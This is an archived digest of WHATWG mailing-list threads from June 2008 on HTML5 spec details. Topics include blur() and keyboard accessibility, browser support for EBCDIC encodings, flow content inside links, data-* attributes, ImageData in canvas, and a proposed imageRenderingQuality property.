From ian at hixie.ch  Sun Jun  1 03:49:15 2008
From: ian at hixie.ch (Ian Hickson)
Date: Sun, 1 Jun 2008 10:49:15 +0000 (UTC)
Subject: [whatwg] scripts that remove focus from links during document
 navigation
In-Reply-To: <dd4c8a40609200726r6ecbc518i7ce91bbef0495016@mail.gmail.com>
References: <dd4c8a40609200726r6ecbc518i7ce91bbef0495016@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806011048360.8559@hixie.dreamhostps.com>

On Wed, 20 Sep 2006, Hallvord R M Steen wrote:
> 
> Opera has a serious usability problem for keyboard- and device-users 
> when pages do the following:
> 
> <a href="" onfocus="this.blur()">
> 
> This coding is very common because IE adds a small outline border to 
> focused links. Authors who do not like this will blur links when they 
> are activated to avoid this cosmetic issue. (Mea culpa: I've done 
> exactly this myself in sites I coded as a newbie, for that very reason.)
> 
> In Opera, when keyboard navigation hits this link, focus is removed. 
> Thus the link can not be activated from the keyboard and navigation may 
> have to start from the top of the document again.
> 
> We need some prose in a spec that allows a user agent to ignore blur() 
> for accessibility reasons.

Done in HTML5, which seems to be the only spec that actually defines 
blur() in any sort of useful detail now. :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From hsivonen at iki.fi  Sun Jun  1 06:45:26 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 16:45:26 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
Message-ID: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>

The HTML5 draft says that authors should not use EBCDIC-based  
encodings. This is more lax than saying that authors must not use and  
user agents must not support CESU-8, UTF-7, BOCU-1 and SCSU.

In general, now that UTF-8 exists and is ubiquitously supported,  
proliferation of encodings is costly and doesn't expand that the  
expressiveness of HTML which is parsed into a Unicode DOM anyway.  
Moreover, encodings that are not ASCII supersets are potential  
security risks since the string "<script>" may be represented by  
different bytes than in ASCII leading to potential privilege  
escalation if a server-side gatekeeper and a user agent give different  
meanings to the bytes.

For these reasons, if EBCDIC-based encodings don't need to be  
supported in order to Support Existing Content, it would be beneficial  
never to add support for them and, thus, ban them like CESU-8, UTF-7,  
BOCU-1 and SCSU.

I asked Hixie for examples of sites or browsers that require/support  
EBCDIC-based encodings. He had none. I examined the encoding menus of  
Firefox 3b5, Safari 3.1 and Opera 9.5 beta (on Leopard) and IE8 beta 1  
(on English XP SP3). None of them expose EBCDIC-based encodings in the  
UI. (All the IBM encodings Firefox exposes turn out to be ASCII-based.)

This makes me wonder: Do the top browsers support any EBCDIC-based  
encodings but just without exposing them in the UI? If not, can there  
be any notable EBCDIC-based Web content?

I'm suspecting that EBCDIC isn't actually a Web-relevant.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From derhoermi at gmx.net  Sun Jun  1 07:25:05 2008
From: derhoermi at gmx.net (Bjoern Hoehrmann)
Date: Sun, 01 Jun 2008 16:25:05 +0200
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
Message-ID: <l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>

* Henri Sivonen wrote:
>This makes me wonder: Do the top browsers support any EBCDIC-based  
>encodings but just without exposing them in the UI? If not, can there  
>be any notable EBCDIC-based Web content?

Internet Explorer should support any character encoding Windows supports
(see the advanced tab in `control International`), which includes many
EBCDIC encodings. See eg. http://www.websitedev.de/temp/ebcdic-cp-us.txt
for an example. It seems to me www-international at w3.org would have been
a better place to ask your questions than the mailing lists you picked.
-- 
Bj?rn H?hrmann ? mailto:bjoern at hoehrmann.de ? http://bjoern.hoehrmann.de
Weinh. Str. 22 ? Telefon: +49(0)621/4309674 ? http://www.bjoernsworld.de
68309 Mannheim ? PGP Pub. KeyID: 0xA4357E78 ? http://www.websitedev.de/ 


From hsivonen at iki.fi  Sun Jun  1 08:00:58 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 18:00:58 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
Message-ID: <2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>

On Jun 1, 2008, at 17:25, Bjoern Hoehrmann wrote:

> * Henri Sivonen wrote:
>> This makes me wonder: Do the top browsers support any EBCDIC-based
>> encodings but just without exposing them in the UI? If not, can there
>> be any notable EBCDIC-based Web content?
>
> Internet Explorer should support any character encoding Windows  
> supports
> (see the advanced tab in `control International`), which includes many
> EBCDIC encodings. See eg. http://www.websitedev.de/temp/ebcdic-cp-us.txt
> for an example.

Thanks.

Philip Taylor made a test case:
http://philip.html5.org/demos/charset/ebcdic/charsets.html

It shows that browsers that use general-purpose decoder libraries (IE  
and Safari) support some EBCDIC flavors but browsers that roll their  
own decoders (Firefox and Opera) don't.

Firefox and Opera being able get away with not supporting EBCDIC  
flavors suggests that EBCDIC-based encodings cannot be particularly  
Web-relevant. Even if saying that browsers MUST NOT support them might  
end up being a dead letter, it seems that it would be feasible to say  
that browsers SHOULD NOT support them or at least MUST NOT let a  
heuristic detector guess EBCDIC (for security reasons).

(Also, I think I'm going to remove EBCDIC support from Validator.nu.)

> It seems to me www-international at w3.org would have been
> a better place to ask your questions than the mailing lists you  
> picked.

So many lists. :-( CCed that one, too, just in case.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From dgerard at gmail.com  Sun Jun  1 09:25:26 2008
From: dgerard at gmail.com (David Gerard)
Date: Sun, 1 Jun 2008 17:25:26 +0100
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
Message-ID: <fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>

[just to whatwg]

2008/6/1 Henri Sivonen <hsivonen at iki.fi>:

> Philip Taylor made a test case:
> http://philip.html5.org/demos/charset/ebcdic/charsets.html
> It shows that browsers that use general-purpose decoder libraries (IE and
> Safari) support some EBCDIC flavors but browsers that roll their own
> decoders (Firefox and Opera) don't.


I just loaded that test page in Firefox 3 on Linux (Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9pre) Gecko/2008052604 Minefield/3.0pre)
and the accented characters appear to work in the EBCDIC encodings ...


- d.


From hsivonen at iki.fi  Sun Jun  1 09:31:09 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 19:31:09 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
	<fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>
Message-ID: <7DA0D7B6-C4AB-4F9E-9544-732E87D074DE@iki.fi>

On Jun 1, 2008, at 19:25, David Gerard wrote:

> I just loaded that test page in Firefox 3 on Linux (Mozilla/5.0 (X11;
> U; Linux i686; en-US; rv:1.9pre) Gecko/2008052604 Minefield/3.0pre)
> and the accented characters appear to work in the EBCDIC encodings ...


That means they are being decoded as ISO-8859-1/Windows-1252 i.e. not  
as EBCDIC.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From ernestcline at mindspring.com  Sun Jun  1 20:26:40 2008
From: ernestcline at mindspring.com (Ernest Cline)
Date: Sun, 1 Jun 2008 23:26:40 -0400 (EDT)
Subject: [whatwg] Proposal for a link attribute to replace <a href>
Message-ID: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>



-----Original Message-----
>From: Anne van Kesteren <annevk at opera.com>
>Sent: May 31, 2008 5:02 AM
>To: Ernest Cline <ernestcline at mindspring.com>, WhatWG <whatwg at whatwg.org>
>Subject: Re: [whatwg] Proposal for a link attribute to replace <a href>
>
>On Sat, 31 May 2008 04:20:10 +0200, Ernest Cline  
><ernestcline at mindspring.com> wrote:
>> What about adding a third non-metadata hyperlink element, say <anchor>,  
>> which would be a flow content element with flow content allowed in it?   
>> This would seem to cover the use cases presented, while preserving <a>  
>> as being phrasing content only.  The only issue I see if this were  
>> added, is whether it would be better to have the ismap attribute of  
>> <img> only work with <a> or to have it work with the new element as well.
>
>The <a> element can already do this and it would be backwards compatible.

Backwards compatible with some user agents but not with the specs.  The following fragment has never been valid according to the specs in any of HTML 1.0, 2.0, 3.2, or 4, or the current draft of HTML 5, despite <a>, <h3>, and <p> appearing in all of them.

<a href="foo.html">
 <h3>Heading</h3>
 <p>Text</p>
</a>

The specs have always called for <a> to only have inline content save that for some reason, HTML 2.0 did allow <h1> to <h6> inside <a> though that was not recommended, and that was reverted back to inline only in 3.2.

While changing the specs to match user agent behavior is a possibility, it is not one that should be taken lightly. (Nor should adding a new flow content hyperlink element, be taken lightly either.)


From hsivonen at iki.fi  Mon Jun  2 00:05:23 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 2 Jun 2008 10:05:23 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <48434C79.7040703@mozilla.com>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
	<48434C79.7040703@mozilla.com>
Message-ID: <35BA2A92-888F-4CBD-B1C9-57A696CB6C76@iki.fi>

On Jun 2, 2008, at 04:27, Benjamin Smedberg wrote:

> Henri Sivonen wrote:
>
>> Firefox and Opera being able get away with not supporting EBCDIC  
>> flavors suggests that EBCDIC-based encodings cannot be particularly  
>> Web-relevant. Even if saying that browsers MUST NOT support them  
>> might end up being a dead letter, it seems that it would be  
>> feasible to say that browsers SHOULD NOT support them or at least  
>> MUST NOT let a heuristic detector guess EBCDIC (for security  
>> reasons).
>
> Gecko does support UTF-7 and will continue to do so because UTF-7 is  
> still in use as a character set for mail encoding and multi-part  
> MIME documents.

Does/will Gecko support UTF-7 as a possible heuristic detector guess  
on the Web/HTTP side?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From annevk at opera.com  Mon Jun  2 02:39:00 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 02 Jun 2008 11:39:00 +0200
Subject: [whatwg] Proposal for a link attribute to replace <a href>
In-Reply-To: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>
References: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>
Message-ID: <op.ub37ra0864w2qv@annevk-t60.oslo.opera.com>

On Mon, 02 Jun 2008 05:26:40 +0200, Ernest Cline  
<ernestcline at mindspring.com> wrote:
>> The <a> element can already do this and it would be backwards  
>> compatible.
>
> Backwards compatible with some user agents but not with the specs.

Sure, but <anchor> is not backwards compatible with specs or user agents.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From mpt at myrealbox.com  Mon Jun  2 05:40:55 2008
From: mpt at myrealbox.com (Matthew Paul Thomas)
Date: Mon, 02 Jun 2008 13:40:55 +0100
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
Message-ID: <4843EA57.3070900@myrealbox.com>

Ian Hickson wrote on 27/05/08 07:47:
> 
> On Mon, 12 Nov 2007, Matthew Paul Thomas wrote:
> 
>> On Oct 30, 2007, at 6:01 PM, Ian Hickson wrote:
>>> 
>>> On Mon, 13 Jun 2005, Matthew Thomas wrote:
>...
>>>> Many applications provide inline help which is not a label, and the 
>>>> same attributes would be appropriate here: <div rel="help" 
>>>> for="phone-number"><p>The full number, including country code.</p> 
>>>> <p>Example: <samp>+61 3 1234 5678</samp></p></div>
>>> 
>>> How would UAs use this?
>> 
>> UAs likely wouldn't, but scripts could. For example, a form might 
>> include sparing help by default, with a style sheet hiding more 
>> exhaustive help (as indicated by rel="help"). Then a script could add a 
>> small help button after each control that has associated help (i.e. each 
>> control with name="x" where there exists an element on the page with 
>> rel="help" for="x"). When a control's help button was clicked, the 
>> control's help would be shown.
>...
> The data-* attributes are intended for scripts like this.
>...

The disadvantage of using a data-* attribute is that more kinds of
mistakes would be undetectable by a validator. It would have no idea
that (a) the value of the attribute must be the ID of an element
elsewhere in the document, and (b) each value must be unique within the
document.

I wonder if the data-* attribute naming scheme could be classified
somehow to allow basic type checking like this. I expect there will be
other cases where authors want an attribute value to match the ID of an
element in the page.

Cheers
-- 
Matthew Paul Thomas
http://mpt.net.nz/


From vladimir at pobox.com  Mon Jun  2 12:03:02 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 12:03:02 -0700
Subject: [whatwg] createImageData
In-Reply-To: <B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
Message-ID: <66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>


Sorry it took me a bit to respond here... so, ok, based on the  
discussion, I'd suggest:

- user-created ImageData-like objects should be supported, e.g. with  
language such as:

The first argument to the method must be an ImageData object returned  
by createImageData(), getImageData(), or an object constructed with  
the necessary properties by the user.  If the object was constructed  
by the user, its width and height dimensions are specified in device  
pixels (which may not map directly to CSS pixels).  If null or any  
other object is given that does not present the ImageData interface,  
then the putImageData() method must raise a TYPE_MISMATCH_ERR exception.

- ImageData objects returned by createImageData or getImageData should  
behave as currently specified; that is, they should explicitly clamp  
on pixel assignment.

That gives users a choice over which approach they want to take, and  
whether they want clamping or not.

How's that sound?

     - Vlad



From vladimir at pobox.com  Mon Jun  2 12:19:50 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 12:19:50 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
Message-ID: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>


I'd like to propose adding an imageRenderingQuality property on the  
canvas 2D context to allow authors to choose speed vs. quality when  
rendering images (especially transformed ones).  This is modeled on  
the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
:

   attribute string imageRenderingQuality;

'auto' (default): The user agent shall make appropriate tradeoffs to  
balance speed and quality, but quality shall be given more importance  
than speed.

'optimizeQuality': Emphasize quality over rendering speed.

'optimizeSpeed': Emphasize speed over rendering quality.

No specific image sampling algorithm is specified for any of these  
properties, with the exception that, at a minimum, nearest-neighbour  
resampling should be used.  One alternative is to specify 'best',  
'good', 'fast', with "good" being the default, as opposed to the SVG  
names; I think those names are more descriptive, but there might be  
value in keeping the names consistent with SVG, especially if that  
property bubbles up into general CSS usage.

     - Vlad



From oliver at apple.com  Mon Jun  2 12:25:32 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 12:25:32 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
Message-ID: <08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>

Um, could you actually give some kind of reasoning for these?  I am  
not aware of any significant performance issues in Canvas that cannot  
be almost directly attributed to JavaScript itself rather than the  
canvas.

--Oliver

On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:

>
> I'd like to propose adding an imageRenderingQuality property on the  
> canvas 2D context to allow authors to choose speed vs. quality when  
> rendering images (especially transformed ones).  This is modeled on  
> the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
> :
>
>  attribute string imageRenderingQuality;
>
> 'auto' (default): The user agent shall make appropriate tradeoffs to  
> balance speed and quality, but quality shall be given more  
> importance than speed.
>
> 'optimizeQuality': Emphasize quality over rendering speed.
>
> 'optimizeSpeed': Emphasize speed over rendering quality.
>
> No specific image sampling algorithm is specified for any of these  
> properties, with the exception that, at a minimum, nearest-neighbour  
> resampling should be used.  One alternative is to specify 'best',  
> 'good', 'fast', with "good" being the default, as opposed to the SVG  
> names; I think those names are more descriptive, but there might be  
> value in keeping the names consistent with SVG, especially if that  
> property bubbles up into general CSS usage.
>
>    - Vlad
>



From vladimir at pobox.com  Mon Jun  2 14:15:51 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:15:51 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
Message-ID: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>


Sure; bilinear filtering is slower than nearest neighbour sampling,  
and in many cases the app author would like to be able to decide that  
tradeoff (or, at least, to be able to say "I want this to go as fast  
as possible, regardless of quality").  Some apps might also render to  
a canvas just once, and would prefer to do it at the highest quality  
filtering available even if it's more expensive than the default.

     - Vlad

On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
> Um, could you actually give some kind of reasoning for these?  I am  
> not aware of any significant performance issues in Canvas that  
> cannot be almost directly attributed to JavaScript itself rather  
> than the canvas.
>
> --Oliver
>
> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>
>>
>> I'd like to propose adding an imageRenderingQuality property on the  
>> canvas 2D context to allow authors to choose speed vs. quality when  
>> rendering images (especially transformed ones).  This is modeled on  
>> the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>> :
>>
>> attribute string imageRenderingQuality;
>>
>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>> to balance speed and quality, but quality shall be given more  
>> importance than speed.
>>
>> 'optimizeQuality': Emphasize quality over rendering speed.
>>
>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>
>> No specific image sampling algorithm is specified for any of these  
>> properties, with the exception that, at a minimum, nearest- 
>> neighbour resampling should be used.  One alternative is to specify  
>> 'best', 'good', 'fast', with "good" being the default, as opposed  
>> to the SVG names; I think those names are more descriptive, but  
>> there might be value in keeping the names consistent with SVG,  
>> especially if that property bubbles up into general CSS usage.
>>
>>   - Vlad
>>
>



From hyatt at apple.com  Mon Jun  2 14:26:41 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 16:26:41 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
Message-ID: <E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>

I like the idea of this property.  I actually would love to see the  
SVG property applied to HTML <img> as well. :)

dave

On Jun 2, 2008, at 4:15 PM, Vladimir Vukicevic wrote:

>
> Sure; bilinear filtering is slower than nearest neighbour sampling,  
> and in many cases the app author would like to be able to decide  
> that tradeoff (or, at least, to be able to say "I want this to go as  
> fast as possible, regardless of quality").  Some apps might also  
> render to a canvas just once, and would prefer to do it at the  
> highest quality filtering available even if it's more expensive than  
> the default.
>
>    - Vlad
>
> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>> Um, could you actually give some kind of reasoning for these?  I am  
>> not aware of any significant performance issues in Canvas that  
>> cannot be almost directly attributed to JavaScript itself rather  
>> than the canvas.
>>
>> --Oliver
>>
>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>
>>>
>>> I'd like to propose adding an imageRenderingQuality property on  
>>> the canvas 2D context to allow authors to choose speed vs. quality  
>>> when rendering images (especially transformed ones).  This is  
>>> modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>> :
>>>
>>> attribute string imageRenderingQuality;
>>>
>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>> to balance speed and quality, but quality shall be given more  
>>> importance than speed.
>>>
>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>
>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>
>>> No specific image sampling algorithm is specified for any of these  
>>> properties, with the exception that, at a minimum, nearest- 
>>> neighbour resampling should be used.  One alternative is to  
>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>> opposed to the SVG names; I think those names are more  
>>> descriptive, but there might be value in keeping the names  
>>> consistent with SVG, especially if that property bubbles up into  
>>> general CSS usage.
>>>
>>>  - Vlad
>>>
>>
>



From vladimir at pobox.com  Mon Jun  2 14:34:24 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:34:24 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
Message-ID: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>


Yeah, I agree -- I thought that there was some plan somewhere to  
uplift a bunch of these SVG CSS properties into general usage?  I know  
that Gecko uplifted text-rendering, we should figure out what else  
makes sense to pull up.  (If image-rendering were uplifted, it would  
apply to <canvas>, for the scaling/transformation of the canvas  
element itself as opposed to the canvas rendering content.)

     - Vlad

On Jun 2, 2008, at 2:26 PM, David Hyatt wrote:
> I like the idea of this property.  I actually would love to see the  
> SVG property applied to HTML <img> as well. :)
>
> dave
>
> On Jun 2, 2008, at 4:15 PM, Vladimir Vukicevic wrote:
>
>>
>> Sure; bilinear filtering is slower than nearest neighbour sampling,  
>> and in many cases the app author would like to be able to decide  
>> that tradeoff (or, at least, to be able to say "I want this to go  
>> as fast as possible, regardless of quality").  Some apps might also  
>> render to a canvas just once, and would prefer to do it at the  
>> highest quality filtering available even if it's more expensive  
>> than the default.
>>
>>   - Vlad
>>
>> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>>> Um, could you actually give some kind of reasoning for these?  I  
>>> am not aware of any significant performance issues in Canvas that  
>>> cannot be almost directly attributed to JavaScript itself rather  
>>> than the canvas.
>>>
>>> --Oliver
>>>
>>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>>
>>>>
>>>> I'd like to propose adding an imageRenderingQuality property on  
>>>> the canvas 2D context to allow authors to choose speed vs.  
>>>> quality when rendering images (especially transformed ones).   
>>>> This is modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>>> :
>>>>
>>>> attribute string imageRenderingQuality;
>>>>
>>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>>> to balance speed and quality, but quality shall be given more  
>>>> importance than speed.
>>>>
>>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>>
>>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>>
>>>> No specific image sampling algorithm is specified for any of  
>>>> these properties, with the exception that, at a minimum, nearest- 
>>>> neighbour resampling should be used.  One alternative is to  
>>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>>> opposed to the SVG names; I think those names are more  
>>>> descriptive, but there might be value in keeping the names  
>>>> consistent with SVG, especially if that property bubbles up into  
>>>> general CSS usage.
>>>>
>>>> - Vlad
>>>>
>>>
>>
>



From hyatt at apple.com  Mon Jun  2 14:36:54 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 16:36:54 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
	<68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
Message-ID: <AD584CBE-FB07-4D46-A355-AACBAE37B0C9@apple.com>

On Jun 2, 2008, at 4:34 PM, Vladimir Vukicevic wrote:

> Yeah, I agree -- I thought that there was some plan somewhere to  
> uplift a bunch of these SVG CSS properties into general usage?  I  
> know that Gecko uplifted text-rendering, we should figure out what  
> else makes sense to pull up.  (If image-rendering were uplifted, it  
> would apply to <canvas>, for the scaling/transformation of the  
> canvas element itself as opposed to the canvas rendering content.)
>
>    - Vlad

Right, that would be my expectation as well (that the CSS property  
could be applied to <canvas> to control the quality when rendering the  
canvas buffer itself).

dave



From oliver at apple.com  Mon Jun  2 14:39:46 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 14:39:46 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
Message-ID: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>

That's exactly what i would be afraid of people doing.  If I have a  
fast system why should i have to experience low quality rendering?  It  
should be the job of the platform to determine what level of  
performance or quality can be achieved on a given device.  Typically  
such a property would be considered a "hint", and as such would likely  
be ignored.

If honouring this property was _required_ rather than being a hint you  
would hit the following problems:
* Low power devices would have a significant potential for poor  
performance if a developer found that their desktop performed well so  
set the requirement to high quality.
* High power devices would be forced to use low quality rendering  
modes when perfectly capable of providing better quality without  
significant performance penalty.

Neither of these apply if the property were just a hint, but now you  
have to think about what happens to content that uses this property in  
18 months time.  You've told the UA to use a low quality rendering  
when it may no longer be necessary, so now the UA has a choice it  
either always obeys the property meaning lower quality than is  
necessary so that new content performs well, or it ignores the  
property in which case new content performs badly.

The correct behaviour would be for the UA to work out itself what it  
can do, which it needs to be able to do anyway, in order to satisfy  
the "auto" option.

--Oliver

On Jun 2, 2008, at 2:15 PM, Vladimir Vukicevic wrote:

>
> Sure; bilinear filtering is slower than nearest neighbour sampling,  
> and in many cases the app author would like to be able to decide  
> that tradeoff (or, at least, to be able to say "I want this to go as  
> fast as possible, regardless of quality").  Some apps might also  
> render to a canvas just once, and would prefer to do it at the  
> highest quality filtering available even if it's more expensive than  
> the default.
>
>    - Vlad
>
> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>> Um, could you actually give some kind of reasoning for these?  I am  
>> not aware of any significant performance issues in Canvas that  
>> cannot be almost directly attributed to JavaScript itself rather  
>> than the canvas.
>>
>> --Oliver
>>
>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>
>>>
>>> I'd like to propose adding an imageRenderingQuality property on  
>>> the canvas 2D context to allow authors to choose speed vs. quality  
>>> when rendering images (especially transformed ones).  This is  
>>> modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>> :
>>>
>>> attribute string imageRenderingQuality;
>>>
